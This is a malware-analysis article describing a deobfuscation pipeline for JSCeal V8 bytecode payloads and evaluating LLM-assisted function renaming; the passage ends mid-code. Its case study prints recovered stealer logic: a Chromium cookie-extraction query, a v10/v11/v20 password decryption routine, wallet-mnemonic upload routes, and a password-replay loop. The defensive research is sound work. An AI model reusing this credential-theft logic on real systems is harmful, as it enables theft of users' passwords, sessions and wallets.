In 2024, our colleague Moshe Marelus published View8, an open-source decompiler for V8 bytecode [2]. We used it as the foundation for a static deobfuscation pipeline tailored to the patterns found in JSCeal. During this work, we extended View8 [3] to make its output reproducible and suitable for automated post-processing, and implemented dedicated passes for value propagation, string reconstruction, control-flow unflattening, proxy and operation-wrapper resolution, and additional cleanup.
The goal is not perfect source recovery — V8 compilation is lossy, and the output of decompilation remains pseudocode. Instead, we aimed to recover enough structure and semantics to read the malware as code again: follow its logic, compare samples, locate capability branches, and validate behavior against concrete strings, APIs, paths, and data flow.
Later in the article, we use one selected JSCeal payload as a case study and walk through portions of the recovered code, including browser and cryptocurrency theft, keylogging, screenshot capture, and a local HTTPS interception proxy.
Distributed payloads
Let’s start by understanding the role of the JSC files in the whole attack chain.
The payloads were delivered in campaigns that began with malvertising and were followed by multiple PowerShell scripts. The complete flow is illustrated below:
Figure 1 – The final stage infection flow (image first presented in [1])
The last stage consists of two ZIP archives downloaded by PowerShell:
node.zip – a packaged Node.js runtime
build.zip, containing the final payload and supporting components:
winpty-agent.exe – an agent for a hidden Windows console (open source)
winpty.dll – a module that allows interaction with the hidden console (open source)
app.jsc – The JSCeal malware payload
preflight.js – a decompression script
Native .node modules (PE format) used by the payload
The final JSC payload is distributed in Brotli-compressed [5] form and decompressed by preflight.js.
The loading is triggered by the last PowerShell script in the chain, containing the command line:
.\node.exe -r .\preflight.js .\app.jsc (the option -r forces Node to run a JS file before loading the main module).
The size and complexity of the JSC payloads varied. They were all obfuscated with the same open-source obfuscator [6].
Analysis methodology
While typical analysis procedures were sufficient for the earlier stages, the final JSC payload remained challenging. Because it was delivered as a V8 code cache rather than JavaScript source, conventional source-level JavaScript instrumentation was not directly applicable. Native-level hooking and dynamic binary instrumentation (DBI) could reveal process and API activity, but did not recover the payload’s JavaScript-level semantics at a useful level. Sandbox execution therefore provided mainly low-level system-interaction telemetry. To understand the payload’s logic, we turned to static analysis, which required deobfuscation.
Since the JSC payload is Brotli-compressed, the first step is to remove this layer. This yields the V8 code cache, which can then be supplied to a compatible disassembler. The disassembled output is then passed to the View8-based pipeline, which includes decompilation and transformation by multiple deobfuscation passes. Each pass can be used as a self-contained script. To support modularity, we extended View8 with pickle serialization of its internal object graph. We also added function-level visibility controls and metadata annotations (details in Appendix A).
Figure 2 – the pipeline demonstrating steps applied to the original JSC sample
Our toolkit is publicly available at https://github.com/hasherezade/jsc_deobfuscator [7]
The following flowchart describes the major steps of the pipeline; details of each follow in subsequent sections.
Figure 3 – the flowchart of the deobfuscation pipeline
We applied the pipeline to 23 JSCeal payloads collected over several months (Appendix B); it produced analyzable output in all cases.
Environment Setup
The toolkit used for the main body of this research was developed on Linux.
The JSCeal generation analyzed in depth in this research used a bundled Node.js runtime based on V8 10.2.154.26-node.25. The distributed app.jsc was Brotli-compressed; after decompression, the resulting file was a V8 code cache that could be supplied to a compatible disassembler.
V8 cached data is version-sensitive, so before decompilation we first need to obtain a correct bytecode listing. We followed the general approach used by the View8 fork from j4k0xb [4]: build the corresponding V8 version, apply the required patches, and use a small program based directly on the V8 API to consume the cache.
During this process, we encountered a bug in the original V8 code that caused a string-printing problem and corrupted some disassemblies containing wide characters. It passed a 16-bit code unit through byte-oriented printable-character handling, which could inject malformed output into string literals and break View8 downstream. We patched the printer so that printable ASCII remains literal, byte-sized non-printable values use \xNN, and wider values are emitted as \uNNNN. The patch is included in the public repository [9], and the complete build procedure is documented on the project Wiki [10].
The released toolkit contains both the disassembler source and the V8 patches required for the supported generation. A prebuilt Linux disassembler is also distributed with the project [7] release.
Decompiled output
Once we have the correct disassembly, we can proceed with decompilation. However, there are some details to keep in mind.
View8 does not reconstruct the original JavaScript source. It lifts V8 bytecode into pseudocode that reflects its underlying execution model.
Recovered functions are represented in a form such as:
function func_[name]_0x[disassembly_address]([arguments_list])
The entry point is a function labeled start, for example: func_start_0x323d9daddcd9.
In ordinary View8 output, the hexadecimal suffix is derived from address values emitted during disassembly. Because these values may differ between runs, our modified View8 can normalize function identifiers deterministically based on parse order. This makes the results reproducible (details: Appendix A).
The pseudocode follows the underlying V8 concepts rather than ordinary JavaScript local-variable names. Each function can make use of its arguments, the accumulator, and a set of local virtual registers. It also has access to its own constant pool, global variables, and context storage exposed through Scope. Function arguments are represented as a0 to aN, while local virtual registers are printed as r0 to rN. ACCU denotes the current V8 accumulator value.
Functions can declare nested functions and share values with them through their surrounding context. In View8, these relationships are visible through the declarer hierarchy and Scope[...] references. Values placed into a scope by a declarer function may later be consumed by nested functions. Reconstructing those relationships is essential for JSCeal because the obfuscator frequently moves constants, decoder offsets, proxy references, and dictionary objects through scope rather than keeping them local.
As the root of the function hierarchy, the start function is the only function without a declarer. The start function also initializes the global bindings used throughout the program. In raw View8 output this is visible through DeclareGlobals, for example:
For readability, our modified View8 marks global identifiers explicitly with a global_ prefix. The prefix prevents collisions with local register notation and makes later propagation easier to follow.
Since the original JavaScript was obfuscated before compilation, the View8 output contains artifacts introduced by the obfuscator, making the recovered pseudocode considerably harder to interpret. A detailed explanation of each obfuscation layer and the applied countermeasures is provided later in this article.
For example, a single function from a JSCeal payload decompiled by View8 looks like this:
This is already significant progress compared with the raw bytecode, but the remaining obfuscation still makes most of the output effectively unreadable. The rest of the pipeline progressively removes those layers and transforms the output into pseudocode suitable for practical analysis.
One syntax detail is worth keeping in mind throughout the article: View8 uses its own pseudocode notation and should not be interpreted as literal JavaScript. For example, an expression such as !r6 === "0" represents the negation of the entire comparison — semantically: r6 !== "0".
Obfuscation layers
The analyzed JSCeal payloads were protected with javascript-obfuscator [6]. Its configuration is highly customizable, and the exact combination varied between samples. Across the corpus, we repeatedly observed four groups of transformations:
Renamed identifiers. Function and variable names are replaced with short or nonsensical identifiers.
String protection. Important strings are split into chunks and reconstructed through decoder functions. In the dominant variant observed in JSCeal, the stored chunks are encoded and RC4-protected.
Control-flow flattening. Selected functions are transformed into state machines whose intended block order is hidden behind a dispatcher.
Proxy and operation indirection. Function calls are forwarded through proxy helpers, while simple operations such as addition, subtraction, comparison, or function invocation are wrapped in dedicated helper functions.
The deobfuscation pipeline has to follow a specific order because the result of one pass can expose information required by the next. For example, string deobfuscation reveals not only the text used in the code, but also keys for dictionaries containing variables and function references.
Propagating values
Before we can start peeling away the obfuscation layers, we need to set the stage by propagating the variables used in the code and performing all the necessary simplifications.
Often, functions that we have to parse and resolve are not called directly, but through different variables: globals, scopes, or local registers. A similar problem applies to their arguments. Until we have everything filled and mapped, it won’t be possible to really understand the flow.
Propagating values is non-trivial: it is done in multiple ways, at different layers of the obfuscation process. Demonstrating the full variety used would take too much space, so let’s focus on a few examples. We illustrate with string decryption functions here, but the same propagation logic applies to proxy resolution and operation inlining described later. Details on the actual string deobfuscation are given in the next section, “Reconstructing strings”.
Below is a tiny function used to deobfuscate a chunk of a string. The input argument (a1) is modified by a value passed via Scope.
Without knowing the actual value, we won’t be able to do the calculation required for deobfuscation. The scope is filled by a function higher in the declaration hierarchy. Once we find the particular line, we are ready to fill it.
function func_yZ_0x24543ecedfc9(a0)
{
[...]
Scope[10083][2] = new {"c": 742}
[...]
In this form, the function is ready to be parsed, and we can see that the value 742 is subtracted from the input argument.
Another problem is that in many parts of the code, calls to interesting functions have their arguments passed via local variables. While parsing a line, it is not immediately clear what arguments are being passed.
In the given example, the function deobfuscating a string chunk, func_r_0x24543eceeb91, is called with two arguments that are passed via dictionaries. We first collect those dictionaries, and then substitute their uses with corresponding values.
Once those preparations are completed, we are ready to parse the functions and resolve their outputs.
Reconstructing strings
String reconstruction is the first major deobfuscation stage. Strings are valuable artifacts on their own: they expose API names, paths, commands, URLs, object fields, and targeted services. More importantly for this pipeline, they also unlock later transformations. Recovered strings become dictionary keys, property names, and control-flow order sequences used by the unflattening and proxy-resolution passes.
The analyzed samples used two string-obfuscation variants provided by javascript-obfuscator [6]. We implemented [7] a separate pass for each.
The simpler variant, addressed by deobf_str1.py, stores string fragments in an array and retrieves them through an index transformation. It appeared only in an older sample.
The dominant variant, addressed by deobf_str2.py, adds several more layers: encoded string chunks, RC4 encryption, a large family of decoder wrappers, and arithmetic transformations of the chunk index. This is the variant described below.
Details on deobfuscation modes used by each payload are listed in Appendix C.
The string obfuscation rabbit-hole
Let’s take a closer look at how the most common JSCeal string obfuscation is implemented. This is the mode addressed by deobf_str2.py.
Just like in the simplest mode, each string is split into chunks. Then, each chunk is RC4 encrypted with a different key. The resulting content is Base64-encoded. Such obfuscated chunks are accumulated in a single array, stored inside one of the functions, and retrieved from there into a global scope. It is initialized in the start function.
An example of how the function holding the array of chunks may look is given below (keep in mind that the array may contain thousands of elements):
function func_KV_0x18c3e8c9a1c1()
{
r0 = Scope[0]
Scope[10824][2] = new ["s8ohWR3dRx8", "ffddSSo6sW", ... ]
}
When the program needs a string, it calls one of many decoder functions. A typical call contains a numeric value and a short RC4 key:
r2 = func_xt_0x274f42c4e909(71692, "%]hf")
The argument order is varied: some decoder functions receive (number, key), while others receive (key, number). The number is used to calculate the index of the chunk to be decrypted, relative to the aforementioned global list. The calculation is done inside the function.
To make things more complex, deobfuscation is done not just by one function, but by many similar instances. The instances may call one another, each one of them adding or subtracting a different value to the input argument. In order to calculate the actual chunk index, we have to follow the whole chain of functions, parse them, and repeat the operations they performed. At the end of the chain there is always a strongly obfuscated parent function that contributes the final operation.
The values used in calculations are not hard-coded in the function but passed via scope (details described in “Propagating values”). Example of a single deobfuscating function:
In the above case, the index was passed via argument a1. The value retrieved from the scope is first subtracted from it. The result, along with the argument a0 representing the RC4 key, is passed to the next deobfuscation function (func_xt_0x274f42c4e909) which performs similar operations. The chain of similar calls follows multiple layers until it reaches the parent function which adds or subtracts the final value from the index, retrieves the chunk from the global array, and performs the decryption operation.
Recovering the root offset
As mentioned earlier, at the top of the chain of different deobfuscating functions that call one another, there is always an obfuscated parent. Instead of deobfuscating it, we decided to treat it as a black box. Recovering its index shift involves several steps.
The parent functions are the first string decoding functions to be declared, and in the start function, they may be called directly. Just like in the case of their children, two arguments are expected: the RC4 key, and the number used for index calculation.
Once we have found the parent, we track its direct calls and collect the arguments.
We know that the chunk index is obtained by an arithmetic operation (addition or subtraction) on the passed number. We can express it as:
index = arg (+|-) X
The goal is to find the correct X (index shift). Since this value is used to calculate the index of the chunk, the upper bound is the number of chunks in the array (N). We test candidate shifts from 0 to N-1, apply each to the input index, and attempt to decrypt the resulting chunk. If the output looks like a valid string, we treat that X as the index shift candidate.
Conceptually:
for candidate_shift in 0 .. N-1:
candidate_chunk = array[(input_index + candidate_shift) mod N]
plaintext = RC4(candidate_chunk, key)
if plaintext looks plausible:
keep candidate_shift
A plausible result from a single call is not enough: an invalid chunk can occasionally produce printable text when decrypted with the given key. The implementation therefore requires at least three distinct input/output observations for the same decoder function. It computes the candidate shifts per set, intersects those sets, and accepts the value only when it produces a printable result for each. In all the analyzed payloads this condition was sufficient to find the appropriate index shift.
This can be viewed as a bounded brute-force search. The implementation tests possible index shifts within the string-array length and uses multiple independent calls to eliminate candidates that do not produce consistent printable results.
Once the root configuration is known, the pass propagates the index shift through the collected function graph to the callers, calculating the cumulative index delta applied by each individual decoder.
Overview of the string deobfuscating pass
The string deobfuscation pass requires all arguments to be filled, as described in “Propagating values”. It works in the following steps:
Retrieves the start function
Searches for the function aggregating obfuscated string chunks. It is always referenced by the start function and can be spotted by a known pattern of the call. Example:
Follows and parses the function with chunks (in the above case: func_KV_0x18c3e8c9a1c1). Stores the list for further use.
Searches all the string decoding functions, recovers the parent index shifts, and calculates the resulting index shift for each decoder function. The input arguments can be arranged in two ways: either Rc4Key, Offset or Offset, Rc4Key – this is recognized and added to the function prototype.
After the first run, the deobfuscator stores parsed and calculated arguments in a CSV file. If the pass has to be re-run, the list is pre-loaded, which saves time.
Example of the listing (format: function_name,index_shift,is_index_first):
After all the deobfuscating functions have been resolved, each of their resolved occurrences is replaced with its output value. The deobfuscated chunks are then chained together to form the full string.
After the deobfuscation is completed, the functions responsible for string decoding are no longer needed. Their representation is hidden in the code and not printed in the decompilation output.
Scale and performance
For the 23-sample dataset used in the final measurements [8], the string layer contained approximately:
130,000 encoded chunks on average, with observed values from about 19,000 to 217,000;
10,000 decoder configurations on average, with observed values from about 2,200 to 13,000.
Measured runtime for the string stage was:
mode
minimum
median
maximum
without cache
0.6 min
1.7 min
4.6 min
with cache
0.5 min
1.2 min
3.0 min
After string reconstruction, the output contains both substituted plaintext and a standalone string listing. This is often the first point at which the payload starts exposing concrete artifacts such as commands, registry paths, browser targets, cryptocurrency platforms, and the attacker’s embedded public key.
Artifact overview
In addition to the main output of the pass (which is the decompiled and pickled file), the list of all the strings is dumped as text. It helps quickly give an idea of which functionalities are implemented, and to compare different payloads.
Among the interesting artifacts, we can find the public key of the attackers:
"\n-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRdWl/ucoH+ZnVuxHrx2\ncTbwEY2LucyUqEJVl6trmNYaJTFX9qDYA8Z4VOaFO86MHg0cY1mJ8NALzTqDt20C\nlnqYtLEuo0Fqg9pJMhnEb078F31dilgdK+5bK7LgwXps06KQ+Dk7XxaqkbPFa7oZ\n73/q4FhrYEtBxFno0WJla7mq49/W4wJb753WYWTjRMjBKVaUIOtAtGdBp8Li2WX2\nPDqxftDcvT8hJf5H6tMJ3tQRpyHu7ljkwdivamG/labZpzKhijK7BMgrd7251sjh\n7zD6prnafayjK+nfD1dvok7Rd8TV8sa1FK8T0uMmGFdUVGK+X4f45AwNWn8OINLE\nVwIDAQAB\n-----END PUBLIC KEY-----"
There are strings related to deploying hidden PowerShell scripts and running content from a Base64-encoded blob:
Many of the deobfuscated strings come from Node.js modules bundled into the payload and give an idea of what functionality to expect.
Comprehensive analysis of all the artifacts is beyond this short overview. You can find the extracted strings from all analyzed samples in the directory with additional materials [8].
Control flow unflattening
Some of the most important functions of the malware are obfuscated using Control Flow Flattening (CFF).
To resolve this layer, we must make sure that all strings are deobfuscated and propagated, because they are crucial for the execution logic. In the listing produced by the previously described filter, we find some strings in the format [number0]|[number1]|[number2]... for example: “3|2|1|0|4”. Such strings denote an order of chunks to be executed.
Typically, CFF is implemented as a state machine. We can see it represented by a while loop. In each iteration of the loop, the number is fetched from the list. This number is further checked against nested if statements, directing to the chunk of code to be executed. In the simplest form, a chunk ends with continue, causing the loop to progress to another case.
We start the deobfuscation by identifying the beginnings and ends of each code chunk. For example, to find the chunk number 0, we first need to identify the if statement that actually checks against the negation of this condition: if (!r6 === "0"). Once we find the statement, we have to skip the body under it (since it is a negation) and find the first closing bracket with the same indentation as the statement itself. This is where the chunk indexed as 0 actually starts.
Once we have all the chunks mapped, we rearrange them by the order defined by the string, adjusting their indentations.
At this point the function’s intention becomes clear. It performs a lookup that returns the appropriate globalAgent for a given protocol.
The caveats
Sometimes, the chunks of code that are executed in each state are decompiled in a way that makes them difficult to separate cleanly. Let’s take a look at the following example:
while (true) //The dispatcher loop
{
r15 = Number(r4)
r4 = (Number(r4) + 1)
r14 = r3[r15]
if (!r14 === "0")
{
// Other chunks...
// [...]
}
// Chunk 0:
r15 = r2["Uugef"]
if (r15(r11, r12))
{
ACCU = 0
continue ///<- this is not the end of the chunk...
}
r15 = r2["PgJCU"]
r17 = r2["LqFvW"]
r17 = r17(r11, r12)
if (r15(r17, r5))
{
ACCU = 1
continue ///<- this is not the end of the chunk...
}
return -1
break
}
We have continue statements inside the if blocks. In the original flow, this leads to jumping back to the top of the loop and fetching another chunk from the list. But when we unflatten the flow, and remove the loop, it no longer makes sense, so this logic has to be rewritten.
The chunk should therefore look as follows after this adjustment:
The continue statements have been removed, and the code that originally followed each if statement has been moved into the corresponding else clause.
The current version of our deobfuscation pass can handle such scenarios. It automatically removes the nested continue statements and reconstructs the equivalent logic by building an else clause from the code that follows the original if statement. This has proved sufficient in the majority of the analyzed cases. However, we may occasionally encounter more complex or ambiguous variants that are not yet resolved. These cases will be addressed in future versions as our toolkit [7] evolves.
Resolving Proxies and Operations
Across the code, we often encounter functions that act as proxies for other functions. Their only role is to complicate the flow, misleading readers about the actual function being called and making its arguments harder to parse.
The simplest proxies look as follows: the actual function that is about to be called is just passed as one of the arguments.
Then, we replace their calls. After all the calls to the particular proxy are replaced with their basic meaning, the proxy itself can be hidden in the code.
As with proxy calls, there are plenty of other small functions that should be resolved and hidden. In multiple places in the code we can find operations that are implemented by functions, with obfuscated names.
For example:
function func_wcmWN_0x35459f2fab89(a0, a1)
{
return a0 in a1
}
function func_eBvDY_0x35459f2fa789(a0, a1)
{
return (a0 - a1)
}
function func_wNPyv_0x35459f2fa689(a0, a1)
{
return (a0 / a1)
}
function func_oEEDc_0x35459f2faa89(a0, a1)
{
return a0(a1)
}
The same operation can also be defined by multiple instances of an identical function (i.e. there are multiple functions implementing simple addition).
One of our deobfuscating passes is meant to replace calls to such functions with the actual operations that they represent. However, the functions may not be called directly. So, before we proceed with the substitution, we need to apply all needed simplifications.
Iterative propagation of the structures
To complicate the flow even more, the variables and functions are often not used directly. They may be first defined as a local dictionary, initialized, then passed further, to be referenced in different parts of the code.
In the snippet below, a dictionary is first assigned to the local register r1, filled with references to functions, and further assigned to the scope variable (Scope[846][21]).
Then, each of these functions is called indirectly, by one of the children of the declarer.
Notice that the keys of many of the dictionaries are strings. This is why decrypting strings is such a crucial step in the whole pipeline: without them, we are unable to proceed further.
Due to the layered nature of the obfuscator, the pass that propagates such defined structures must be run multiple times at different stages. The arguments to the string deobfuscation functions are also often passed via dictionaries set into a scope. One such example is given below – in this case, the string decoding function is called via register r5, and its two arguments are passed via Scope[846][3]:
Only after filling them in and deobfuscating strings are we able to see the actual key of the next dictionary (in the given case, it is "qQNNx"). The next run of the pass allows us to resolve this key to the value it was mapped to by another function (here: it is a reference to the function func_qQNNx_0x24149a8dfe99).
This is not the end of the rabbit-hole. The referenced function may itself use values passed in a similar way. Below we can see that it first fetches some function via Scope[845][29] using the key "PQxQy" and then calls this function with two arguments. Basically, it is a wrapper.
Finally, after resolving it to a self-contained unit we find that this whole chain leads to the execution of a simple atomic operation:
function func_PQxQy_0x24149a8dd581(a0, a1)
{
return (a0 - a1)
}
By peeling the layers, one by one, we manage to express such operations with their literal meaning. An example of the complete simplification process is given below.
Step 6 (the call resolves to an atomic operation and can be substituted by such):
r12 = r0["length"]
r10 = (r12 - a0)
The given example is just one of the possible variants in which such a propagation chain may work. It has been presented to give an idea of the underlying complexity.
Interpreting the flow
Once we have the major obfuscation layers removed, the malware starts revealing its shape. This allows us to pinpoint the most important building blocks of the whole execution flow, and guide next steps.
The entry point of the file is the function labeled start. At the very end of it, the functions that will be running the main operations are set up. Example:
This still contains some obfuscation patterns that need to be understood and removed.
Proxy functions using scopes
The start function sets up several proxy functions that are further referenced via globals. They come in a few different variants, but we will illustrate the most common type. Let’s focus on the fragments of the earlier snippet:
That function finishes by returning a reference to another function, which makes the second part of the flow. It uses the scope arguments that were previously set up:
function func_unknown_0x93e23cef9f9()
{
if (Scope[8554][3])
{
r0 = Scope[8554][3]
Scope[8554][3] = 0
Scope[8554][2] = r0(0)
}
return Scope[8554][2]
}
The first step in deobfuscating it is recognizing how these functions behave when joined as one unit. It could be represented by the following pseudo-code:
function Xr(fn, cached) {
return function thunk() {
if (fn) {
const tmp = fn;
fn = 0;
cached = tmp(0);
}
return cached;
};
}
This is a lazy, one-shot wrapper: on its first invocation it calls the supplied function and caches the result; subsequent calls return the cached value. In the initialization sites shown here, the thunk is used to reach the underlying function, so for analysis we can collapse that indirection and expose the actual target directly.
We can observe it referenced similarly to the example below:
There is now a global thunk wrapping the target function. Once we understand this indirection, in the initialization path shown here we can expose the target directly:
Further substituting the globals with their literal values and removing all the proxy layers finally reveals the bare dispatcher functions that can be easily followed and analyzed.
After the final transformation, the function presented above takes the following form:
After the deterministic deobfuscation passes, the output is structurally much cleaner: strings are visible, important flattened flows have been reconstructed, and many proxy and operation-wrapper functions have disappeared. One problem remains unavoidable: compilation and obfuscation have destroyed the original semantic function names.
For a small program, an analyst could rename important functions manually. JSCeal contains thousands of functions, including a large amount of bundled dependency code, so manual naming does not scale. We therefore added an optional LLM-assisted renaming stage as a navigation aid.
The distinction is important: the LLM does not perform the core deobfuscation, and its output is not treated as evidence. It receives code that has already been recovered by the static pipeline and proposes labels intended to make the resulting function graph easier to browse.
Dependency-aware renaming
Because functions depend on other functions, the order in which they are sent to the renamer matters.
We start by building a dependency graph from the entry point. In the default mode, the graph follows direct function calls. In greedy mode, it follows all visible function references, including callbacks, handlers, and functions assigned into objects. Greedy mode therefore covers a broader part of the program, but it also produces a much larger graph.
Renaming proceeds leaf-first. Functions with the fewest unresolved dependencies are processed first. Each proposed name is then propagated into dependent functions before the next layer is processed. By the time the renamer reaches a high-level function, many of its callees already carry descriptive labels.
Conceptually:
Figure 4 – The conceptual flow of the function renamer
The tool can send functions individually or group them into bulk requests. Generated mappings are stored in CSV, which also acts as a cache: interrupted runs can continue without re-querying functions that have already been covered. Reviewed or externally generated CSV mappings can also be applied without contacting an LLM.
The public release supports Anthropic, OpenAI, and Ollama backends. It also provides a focused --func mode for requesting a detailed analysis of one selected function, including a proposed name, behavior summary, evidence, and unresolved uncertainty.
Evaluating the proposed names
Because a plausible-sounding function name may still be incorrect, we evaluated the renaming stage separately from the deterministic deobfuscation.
The supporting experiments were conducted by extracting selected, context-rich function trees, starting from the roots responsible for the malware initialization logic, submitting them to the LLM-assisted analysis workflow, and manually verifying the proposed names.
For the final comparison, we generated names from the same normalized deobfuscated base using Claude Sonnet 4.6 and GPT-5.4-mini. Note that these models are not perfectly matched vendor tiers, but practical model configurations for processing payloads this large that were available at the time. This evaluation should be treated as an example, not as a ranking.
The results of one of the experiments are available in the repository of the supplementary materials [8] (session1).
Across more than 21,000 functions, the two models selected exactly the same textual name only 9.3% of the time. This provided a broad measure of naming agreement, but not of semantic correctness. Different names can describe the same behavior while failing an exact-string comparison. We therefore performed a separate contextual evaluation on 142 selected function trees, each built from a selected root toward its dependencies.
Across 142 selected roots:
both proposed names were semantically reasonable in 117 cases;
only the Sonnet name held up in 22 cases;
only the GPT name held up in 3 cases.
When we applied a stricter criterion — whether the name was both correct and sufficiently informative about the function’s actual role — Sonnet produced 128/142 useful names, while GPT produced 30/142. In another 90 cases, the GPT name still identified the correct general area of behavior but was too broad or imprecise to serve as a strong semantic label.
A representative example is a function that locates a certificate in the Windows certificate store and removes it. GPT labeled it findCertificate, capturing part of the implementation but missing the function’s effect. Sonnet proposed removeCertificate, which better described the behavior.
Sonnet was not infallible either. In one case, it proposed decryptLocalStateFile, while the function actually read and decrypted a DPAPI master-key file from the Windows Protect directory and verified its HMAC. The label sounded plausible because the surrounding code dealt extensively with browser decryption, but the function body did not support that exact interpretation.
These examples define the boundary of the method. The proposed name is a hypothesis. The function body is the evidence.
Strings, APIs, file paths, called functions, and data flow remain the basis for every important analytical claim. The LLM stage helps us find and navigate relevant logic faster; it does not replace reverse engineering.
Example: getGlobalAgent
The running example from the earlier deobfuscation stages is a good illustration. After string recovery, control-flow unflattening, and proxy/operation cleanup, its behavior is already visible: it normalizes a protocol and returns the appropriate HTTP or HTTPS global agent.
The model proposed the name getGlobalAgent, which is well supported by the body:
function getGlobalAgent(url) {
const protocol = url.split(":")[0];
if (protocol === "http") {
return http.default.globalAgent;
}
if (protocol === "https") {
return https.default.globalAgent;
}
if (protocol === "ws") {
return http.default.globalAgent;
}
if (protocol === "wss") {
return https.default.globalAgent;
}
throw new Error("Invalid protocol");
}
The useful part is not that the model “discovered” the behavior. The static pipeline had already exposed it. The name simply compresses that understanding into a label that can be propagated into higher-level callers.
Overview of the deobfuscated code
Although all the JSCeal payloads have similarities, their exact functionality may vary. In this part we will do a brief case study based on one selected sample:
Details of the campaign delivering this particular payload are given in Microsoft’s article [12] and Cato article [13].
Note that a comprehensive analysis of JSCeal’s capabilities is beyond the scope of this article; here we highlight selected functions to demonstrate that the deobfuscated output is sufficient for practical threat analysis.
Initialization
After cleaning up the whole flow, the start function becomes much smaller. We additionally applied the optional LLM-assisted renaming stage in greedy mode, which makes the recovered function graph easier to navigate.
Multiple structures are initialized in the start function. The proposed labels provide useful hints about their roles; the relevant behavior can then be verified by inspecting the recovered function bodies.
From the recovered assignments, we can see that a structure prepared locally is then copied into a global variable. For example:
The initialization of the actual malware logic is always at the end of the start function. Since all the functions are called directly now (not via proxies), and are renamed, we can quickly focus on those that actually initialize the malware functionalities.
As we can see above, there are two alternative initialization functions, both leading to the setup of handlers for the core functionality. The decision about which path to follow is made by the function labeled func_setupWorkerPrimary_0x100000001, which returns true when the code is running in the primary cluster process and on the main thread. It also configures the primary cluster process to use "advanced" serialization.
function func_setupWorkerPrimary_0x100000001(a0)
{
if (!global_uE["default"]["isPrimary"])
|| (!(require("worker_threads"))["isMainThread"])
{
return false
}
if ((a0))
{
ACCU = Error
ACCU = Error("Worker root already configured")
}
r4 = global_uE["default"]
if (r4["isPrimary"])
{
r4 = global_uE["default"]["setupPrimary"]
r6 = new {"serialization": null}
r6["serialization"] = "advanced"
ACCU = r4(r6)
}
return true
}
Originally, both initialization functions that follow the decision were obfuscated with Control Flow Flattening, and used wrapped calls. Now their meaning is much clearer, and the inner function names give us a better approximation of what to expect.
Comparing the initialization functions across different payloads can quickly give us an approximate idea of what has changed (although the structure is not always directly comparable).
Let’s zoom in on one of the functions called from this initializer: func_initializeMainRouter_0x10000c910. It sets up a large collection of handlers, and the proposed names give a quick indication of what to expect inside:
The structure is a tRPC router tree: each initialize*Router or initialize*Module call builds a set of procedures and assigns them to a global. The same router / procedure / query / mutation pattern recurs throughout the payload, including in the security, screen capture, and cryptocurrency modules shown later. For example:
Initialization functions frequently end by registering a worker thread to run the handlers they just built. Here func_runIfWorkerPool_0x10000000b binds the security-impersonation pool to func_impersonateUserAndInit_0x10000d2ee, which impersonates a user security context before attaching the router to a worker socket. The remaining modules follow the same shape; below we look at the ones that expose the most capability.
Uploading collected data
Among the recovered initialization functions are routers that register handlers for collected secrets. Following those handlers downstream shows how the local routes reach the malware’s network client.
An analogous route handles collected wallet mnemonic data through /wallets/mnemonic/save:
function func_initializeMnemonicRouter_0x10000c89d()
{
[...]
r11["path"] = "/wallets/mnemonic/save"
[...]
r5["saveMnemonic"] = r6(func_saveMnemonicHandler_0x10000c89c)
// leads to: func_saveMnemonic_0x1000005dc
}
The handler passes the record type, collected value, mutation callback, and fields used by the common diff/save helper to global_hl. After computing whether the new value changes the stored state, the helper invokes the corresponding global_iB mutation when a save is required.
The URL builder constructs an RPC endpoint in the form https://api.<domain>/rpc or wss://api.<domain>/rpc, and adds machineId and token query parameters.
It submits the supplied binary payload as application/octet-stream and expects an arraybuffer response.
Stealing browser data
The browser module is one of the broader components recovered from the payload. Rather than implementing a parser for a single Chrome profile, JSCeal defines a common abstraction for several Chromium-based browsers.
In the analyzed sample, the configuration includes Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Avast Secure Browser, Vivaldi, and Cốc Cốc. For each browser, the malware stores the executable name and the expected location of its user-data directory. Some entries also contain browser-specific launch arguments, extension settings, and cryptographic material.
The code reads the browser’s Local State file and uses its profile.info_cache structure to enumerate available profiles. Each profile is then represented by an object exposing separate iterators for the artifacts that can be collected:
The Local State file also contains information required to decrypt protected browser data. JSCeal retrieves both the traditional encrypted key and the newer App-Bound encrypted key:
Note: the _GeneratorGetResumeMode check is V8’s internal mechanism for resuming after an await; it can be treated as control-flow bookkeeping.
Cookies are read directly from the SQLite database located at:
<profile>\Network\Cookies
The query retrieves both plaintext and encrypted values, along with the host, path, expiry time, HttpOnly flag, and SameSite setting:
SELECT
host_key,
path,
name,
CAST(value AS BLOB) AS plain_value,
CAST(encrypted_value AS BLOB) AS encrypted_value,
is_httponly,
samesite,
expires_utc
FROM cookies
If a plaintext value is not present, the encrypted value is passed to the browser-data decryption routine. The resulting record is normalized into a structure such as:
The decryption implementation supports multiple Chromium data formats. Values prefixed with v10 or v11 are decrypted using the key recovered through DPAPI. Values prefixed with v20 use the App-Bound key. Records without one of these prefixes are passed directly to the native DPAPI unprotection routine, optionally under the security context of the browser’s user session.
The responsible code:
function func_decryptPassword_0x10000af0f(a0, a1, a2, a3)
{
r1 = Scope[1930][27]["startsWith"]
if (r1(a0, "v10"))
r1 = Scope[1930][27]["startsWith"]
|| (r1(a0, "v11"))
{
if (!a1)
{
ACCU = Error
ACCU = Error("DPAPI key is required")
}
r4 = a0["subarray"]
r4 = r4(3)
return func_decryptAesGcm_0x10000af16(r4, a1)
}
r1 = Scope[1930][27]["startsWith"]
if (r1(a0, "v20"))
{
if (!a2)
{
r2 = "AppBound key is required"
ACCU = Error
ACCU = Error(r2)
}
r4 = a0["subarray"]
r4 = r4(3)
return func_decryptAesGcm_0x10000af16(r4, a2)
}
if (a3 == null)
{
ACCU = Error
ACCU = Error("Session id is required")
}
return func_decryptData_0x10000af12(a0, a3)
}
This gives JSCeal access not only to raw browser files, but to usable records containing session cookies, usernames, and decrypted passwords. The data can be saved through the malware’s collection handlers, consumed by platform-specific modules, or reused immediately by another part of the browser component.
One of those uses goes beyond passive credential collection.
From stolen browser data to active session replay
The browser router contains a dedicated operation named saveAndroidTokens:
The implementation uses Puppeteer together with puppeteer-extra. Before launching the browser, it registers a set of core and stealth plugins. It also uses ghost-cursor to perform some of the page interactions.
The malware does not download a separate Chromium build. It launches one of the browsers already installed on the machine, using the executable paths and profiles discovered by the browser module. The launch configuration explicitly selects Puppeteer’s headless shell mode:
For each recovered email address, it queries the passwords previously extracted from browser storage. It then selects the corresponding account using a selector built from the email address:
When a password challenge is reached, JSCeal iterates over the candidate passwords associated with that account:
for (password of recoveredPasswords) {
console.info("Trying password " + password)
await page.type(
"input[type='password']",
password
)
